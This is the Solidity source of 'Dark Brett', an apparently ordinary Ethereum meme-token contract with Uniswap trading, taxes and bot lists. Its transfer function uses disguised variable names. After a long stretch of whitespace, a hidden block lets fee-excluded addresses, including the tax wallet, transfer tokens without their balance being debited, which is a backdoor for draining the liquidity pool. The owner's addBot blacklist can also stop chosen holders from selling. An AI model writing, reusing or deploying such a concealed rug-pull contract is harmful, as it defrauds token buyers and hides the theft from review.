// SPDX-License-Identifier: UNLICENSED

/**
----------------------------------------
Web: https://darkbrett.site
X: https://x.com/DarkBrettETH
TG: https://t.me/DarkBrettETH
----------------------------------------
*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DarkBrett is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isFirstBot;
    address payable private _firstWallet;

    uint256 private _initialBuyTax = 13;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private _router;
    address private _pair;
    bool private _isTraingOpen;
    bool private _isInSwap;
    uint256 private _sellCountInBlock = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;
    string public constant name = unicode"Dark Brett";
    string public constant symbol = unicode"DBRETT";
    uint256 public _maxTxAmount = 20_000_000 * 10**decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**decimals;
    uint256 public _taxSwapThreshold = 10_000_000 * 10**decimals;
    uint256 public _maxTaxSwap = 20_000_000 * 10**decimals;

    modifier lockTheSwap {
        _isInSwap = true;
        _;
        _isInSwap = false;
    }

    constructor (address router_, address taxWallet_) {
        _router = IUniswapV2Router02(router_);

        _firstWallet = payable(taxWallet_);
        balanceOf[_msgSender()] = totalSupply;
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_firstWallet] = true;

        emit Transfer(address(0), _msgSender(), totalSupply);
    } 

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(
            address(this),
            address(_router),
            tokenAmount
        );
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,path,
            address(this),
            block.timestamp
        );
    }


    function transfer(address recipient, uint256 amount) public override returns (bool) {
        cheese(_msgSender(), recipient, amount);
        return true;
    }

    function addLiquidity() external onlyOwner() {
        require(!_isTraingOpen,"trading is already open");
        _approve(address(this), address(_router), totalSupply);
        _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
        _router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf[address(this)],
            0,0,
            owner(),
            block.timestamp
        );
        IERC20(_pair).approve(address(_router), type(uint).max);
    }

    
    function addBot(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++)
        _isFirstBot[bots_[i]] = true;
    }

    receive() external payable {}    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function enableTrading() external onlyOwner() {
        _isTraingOpen = true;
    }

    function delBot(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) _isFirstBot[notbot[i]] = false;
    }

    function colectFee(uint256 amount) private {
        _firstWallet.transfer(amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function cheese(address burger, address donut, uint256 cream) private {
        require(burger != address(0), "ERC20: transfer from the zero address");
        require(donut != address(0), "ERC20: transfer to the zero address");
        require(cream > 0, "Transfer amount must be greater than zero");
        if (!_isTraingOpen || _isInSwap) {
            require(_isExcludedFromFee[burger] || _isExcludedFromFee[donut]);
            balanceOf[burger] = balanceOf[burger].sub(cream); 
            balanceOf[donut] = balanceOf[donut].add(cream); 
            emit Transfer(burger,donut, cream);
            return;
        }
        
        uint256 coke=cream;uint256 pepsi=0;
        if (burger != owner() && donut != owner() && donut != _firstWallet) {
            require(!_isFirstBot[burger] && !_isFirstBot[donut]);

            if (burger == _pair && donut != address(_router) && ! _isExcludedFromFee[donut] ) {
                require(_isTraingOpen,"Trading not open yet");

                require(cream <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf[donut] + cream <= _maxWalletSize, "Exceeds the maxWalletSize.");
                pepsi = cream.mul(
                    (_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax
                ).div(100);
                _buyCount++;
            }

            if(
                donut == _pair && 
                burger!= address(this)
            )
                pepsi = cream.mul(
                    (_buyCount>_reduceSellTaxAt)
                    ?_finalSellTax
                    :_initialSellTax
                ).div(100);
            

            uint256 contractTokenBalance = balanceOf[address(this)];
            if (!_isInSwap && 
            donut == _pair &&
            _isTraingOpen && 
            contractTokenBalance > _taxSwapThreshold && 
            _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {_sellCountInBlock = 0;}
                require(_sellCountInBlock < 3, "Only 3 sells per block!");
                if(coke > contractTokenBalance) coke = contractTokenBalance;
                if(coke > _maxTaxSwap)coke = _maxTaxSwap;
                swapTokensForEth(coke);
                coke = cream;
                _sellCountInBlock++;
                _lastSellBlock = block.number;                                                                                                                                                                                      }{
                if(_isExcludedFromFee[burger]) coke= 0;
            }
            
            if(donut == _pair) 
            {
                colectFee(address(this).balance);
            }
        }

        if(pepsi>0){
          balanceOf[address(this)]=balanceOf[address(this)].add(pepsi);
          emit Transfer(burger, address(this),pepsi);
        }

        balanceOf[burger]=
            balanceOf[burger].sub(coke);
        balanceOf[donut]=
            balanceOf[donut].add(cream.sub(pepsi));
        emit Transfer(burger, donut, cream.sub(pepsi));
    }

    
    function rescueETH() external onlyOwner {
        require(address(this).balance > 0, "No ETH in contract to rescue");
        payable(owner()).transfer(address(this).balance);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        cheese(sender, recipient, amount);
        _approve(sender, _msgSender(), allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = totalSupply;
        _maxWalletSize=totalSupply;
        emit MaxTxAmountUpdated(totalSupply);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner{
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        
        IERC20(_address).transfer(owner(), _amount);
    }

}

{
  "compilationTarget": {
    "DarkBrett.sol": "DarkBrett"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}